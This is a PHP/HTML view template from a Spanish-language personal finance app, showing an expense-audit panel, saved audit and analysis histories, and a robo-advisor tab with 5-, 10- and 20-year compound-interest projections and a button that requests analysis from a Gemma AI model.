Top Fugas de Capital </div> <?php $topCats = array_slice($categoriasTotales, 0, 3, true); $rankColors = ['#ef4444', '#f59e0b', '#64748b']; $rankBgs = ['rgba(239,68,68,0.12)', 'rgba(245,158,11,0.12)', 'rgba(100,116,139,0.12)']; $rank = 0; if (!empty($topCats)): foreach ($topCats as $cat => $total): ?> <div class="inv-fuga-item mb-2"> <div class="inv-fuga-rank" style="background: <?= $rankBgs[$rank] ?>; color: <?= $rankColors[$rank] ?>;">#<?= $rank + 1 ?></div> <div class="flex-grow-1"> <div class="text-white fw-semibold" style="font-size: 0.9rem;"><?= htmlspecialchars($cat) ?></div> <small class="text-secondary"><?= $gastosUSD > 0 ? round(($total / $gastosUSD) * 100) : 0 ?>% del total</small> </div> <div class="text-end"> <div style="color: #ef4444; font-weight: 700;">$<?= number_format($total, 2, '.', ',') ?></div> <small class="text-secondary" style="font-size: 0.65rem;"> → $<?= number_format($total * pow(1.08, 10) - $total, 0, '.', ',') ?> perdidos (10a) </small> </div> </div> <?php $rank++; endforeach; else: ?> <div class="text-center text-secondary py-3 flex-grow-1 d-flex align-items-center justify-content-center"> <div> <i class="bi bi-check-circle d-block" style="font-size: 2rem; color: #10b981; opacity: 0.5;"></i> <small>Sin fugas detectadas</small> </div> </div> <?php endif; ?> <!-- Botón Auditar --> <div class="mt-auto pt-3"> <button class="btn-audit" id="btn-audit" onclick="InversionesModule.auditar()"> <i class="bi bi-shield-exclamation"></i> Auditar mi Mes </button> </div> </div> </div> </div> <!-- Resultado del Auditor --> <div class="inv-ai-result mb-4 d-none" id="audit-result"></div> <!-- Historial de Auditorías --> <?php if (!empty($historialAudit)): ?> <div class="fade-in-up fade-in-up-delay-3 mb-4"> <div class="inv-section-title"> <i class="bi bi-clock-history"></i> Historial de Auditorías </div> <div class="d-flex flex-column gap-2" id="audit-history-list"> <?php foreach ($historialAudit as $h): ?> <div class="inv-history-item d-flex align-items-center justify-content-between" id="audit-hist-<?= $h['id'] ?>"> <div class="d-flex align-items-center gap-3 flex-grow-1 min-width-0 cursor-pointer" onclick="InversionesModule.verAuditoria(<?= htmlspecialchars(json_encode($h['resultado']), ENT_QUOTES) ?>, <?= $h['score'] ?>, <?= $h['total_gastado'] ?>)"> <div style="background: rgba(239, 68, 68, 0.12); color: #ef4444; padding: 8px; border-radius: 10px;"> <i class="bi bi-shield-exclamation"></i> </div> <div class="text-truncate"> <div class="text-white fw-semibold" style="font-size: 0.95rem;"> Score: <?= $h['score'] ?>/100 · $<?= number_format($h['total_gastado'], 0) ?> gastados </div> <small class="text-secondary"><?= $h['mes'] ?> · <?= date('d/m/Y h:i A', strtotime($h['created_at'])) ?></small> </div> </div> <button class="btn-icon danger" onclick="InversionesModule.eliminarAuditoria(<?= $h['id'] ?>)" title="Eliminar"> <i class="bi bi-trash3"></i> </button> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> </div> <!-- ═══════════════════════════════════════════════════ TAB 2: ROBO-ADVISOR (INVERSIONES) ═══════════════════════════════════════════════════ --> <div id="panel-inversiones" style="display: none;"> <!-- Hero Card: Excedente del mes --> <div class="inv-hero-card mb-4 fade-in-up"> <div class="d-flex flex-column flex-md-row justify-content-between align-items-md-center gap-4"> <div class="flex-grow-1" style="z-index: 1;"> <div class="d-flex align-items-center gap-2 mb-2"> <i class="bi bi-wallet2" style="color: var(--gold-primary); font-size: 1.2rem;"></i> <span class="text-white fw-semibold" style="font-size: 0.9rem;"><?= htmlspecialchars($tituloMonto) ?></span> </div> <div class="inv-surplus-amount mb-2" id="surplus-display"> $<?= number_format($excedenteUSD, 2, '.', ',') ?> </div> <div class="d-flex flex-wrap gap-3 mt-3"> <div> <small class="text-secondary d-block">Ingresos</small> <span style="color: #10b981; font-weight: 600;">+$<?= number_format($ingresosUSD, 2, '.', ',') ?></span> </div> <div> <small class="text-secondary d-block">Gastos</small> <span style="color: #ef4444; font-weight: 600;">-$<?= number_format($gastosUSD, 2, '.', ',') ?></span> </div> </div> </div> <div class="text-start text-md-end flex-shrink-0" style="z-index: 1;"> <small class="text-secondary d-block mb-1">Si invirtieras este excedente cada mes</small> <div style="font-size: 1.6rem; font-weight: 800;"> <span style="background: linear-gradient(135deg, var(--gold-primary), #fbbf24); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text;"> $<?= number_format($proy10, 2, '.', ',') ?> </span> </div> <small class="text-secondary">en 10 años (S&P 500 ~10%)</small> </div> </div> </div> <!-- Proyecciones de Interés Compuesto --> <div class="row g-3 mb-4 fade-in-up"> <div class="col-12 col-md-4"> <div class="inv-projection-card h-100"> <div class="years">5 Años</div> <div class="amount" id="proj-5">$<?= number_format($proy5, 0, '.', ',') ?></div> <div class="invested">Invertido: $<?= number_format($totalInvertido5, 0, '.', ',') ?></div> <div class="gain">+$<?= number_format($proy5 - $totalInvertido5, 0, '.', ',') ?> ganancia</div> </div> </div> <div class="col-12 col-md-4"> <div class="inv-projection-card h-100"> <div class="years">10 Años</div> <div class="amount" id="proj-10">$<?= number_format($proy10, 0, '.', ',') ?></div> <div class="invested">Invertido: $<?= number_format($totalInvertido10, 0, '.', ',') ?></div> <div class="gain">+$<?= number_format($proy10 - $totalInvertido10, 0, '.', ',') ?> ganancia</div> </div> </div> <div class="col-12 col-md-4"> <div class="inv-projection-card h-100"> <div class="years">20 Años</div> <div class="amount" id="proj-20">$<?= number_format($proy20, 0, '.', ',') ?></div> <div class="invested">Invertido: $<?= number_format($totalInvertido20, 0, '.', ',') ?></div> <div class="gain">+$<?= number_format($proy20 - $totalInvertido20, 0, '.', ',') ?> ganancia</div> </div> </div> </div> <!-- Simulador con IA --> <div class="inv-simulate-card mb-4 fade-in-up"> <h5 class="text-white fw-bold mb-1 d-flex align-items-center gap-2"> <img src="assets/svg/gemma.svg" width="22" height="22" alt="Gemma" style="filter: brightness(0) invert(0.85);"> Robo-Advisor IA </h5> <p class="text-secondary mb-3" style="font-size: 0.85rem;">Ingresa un monto mensual y la IA te explicará cómo hacerlo crecer de forma inteligente.</p> <div class="d-flex flex-column flex-sm-row gap-3"> <div class="inv-input-group flex-grow-1"> <span class="prefix">$</span> <input type="number" id="inv-monto-input" placeholder="<?= $excedenteUSD > 0 ? number_format($excedenteUSD, 0) : '100' ?>" min="1" step="1" value="<?= $excedenteUSD > 0 ? round($excedenteUSD) : '' ?>"> </div> <button class="btn-gold" id="btn-generate-inv" onclick="InversionesModule.generar()"> <img src="assets/svg/gemma.svg" width="20" height="20" alt="Gemma" style="filter: brightness(0) invert(0.1);"> Analizar con Gemma 4 </button> </div> <!-- Resultado de IA --> <div class="inv-ai-result mt-4 d-none" id="inv-ai-result"></div> </div> <!-- Historial de Proyecciones --> <?php if (!empty($historial)): ?> <div class="fade-in-up"> <div class="inv-section-title"> <i class="bi bi-clock-history"></i> Historial de Análisis </div> <div class="d-flex flex-column gap-2" id="inv-history-list"> <?php foreach ($historial as $h): ?> <div class="inv-history-item d-flex align-items-center justify-content-between" id="inv-hist-<?= $h['id'] ?>"> <div class="d-flex align-items-center gap-3 flex-grow-1 min-width-0 cursor-pointer" onclick="InversionesModule.verHistorial(<?= htmlspecialchars(json_encode($h['proyeccion']), ENT_QUOTES) ?>, <?= $h['monto_invertido'] ?>)"> <div style="background: rgba(255, 215, 0, 0.1); color: var(--gold-primary); padding: 8px; border-radius: 10px;"> <i class="bi bi-bar-chart-line-fill"></i> </div> <div class="text-truncate"> <div class="text-white fw-semibold" style="font-size: 0.95rem;">$<?= number_format($h['monto_invertido'], 0) ?>/mes</div> <small class="text-secondary"><?= date('d/m/Y h:i A', strtotime($h['created_at'])) ?></small> </div> </div> <button class="btn-icon danger" onclick="InversionesModule.eliminarHistorial(<?= $h['id'] ?>)" title="Eliminar"> <i class="bi bi-trash3"></i> </button> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> </div> </div> <!-- Modal para ver historial --> <div class="modal fade" id="modalInvHistorial" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-lg modal-dialog-scrollable"> <div class="modal-content"> <div class="modal-header border-bottom-0 pb-0"> <h5 class="modal-title d-flex align-items-center gap-2"> <img src="assets/svg/gemma.svg" width="24" height="24" alt="Gemma" style="filter: brightness(0) invert(0.85);"> <span id="modalInvTitle">Análisis de Inversión</span> </h5> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <div class="inv-ai-result" id="modalInvContent" style="max-height: none;"></div> </div> </div> </div> </div>
Coded With 💗 by
0x6ick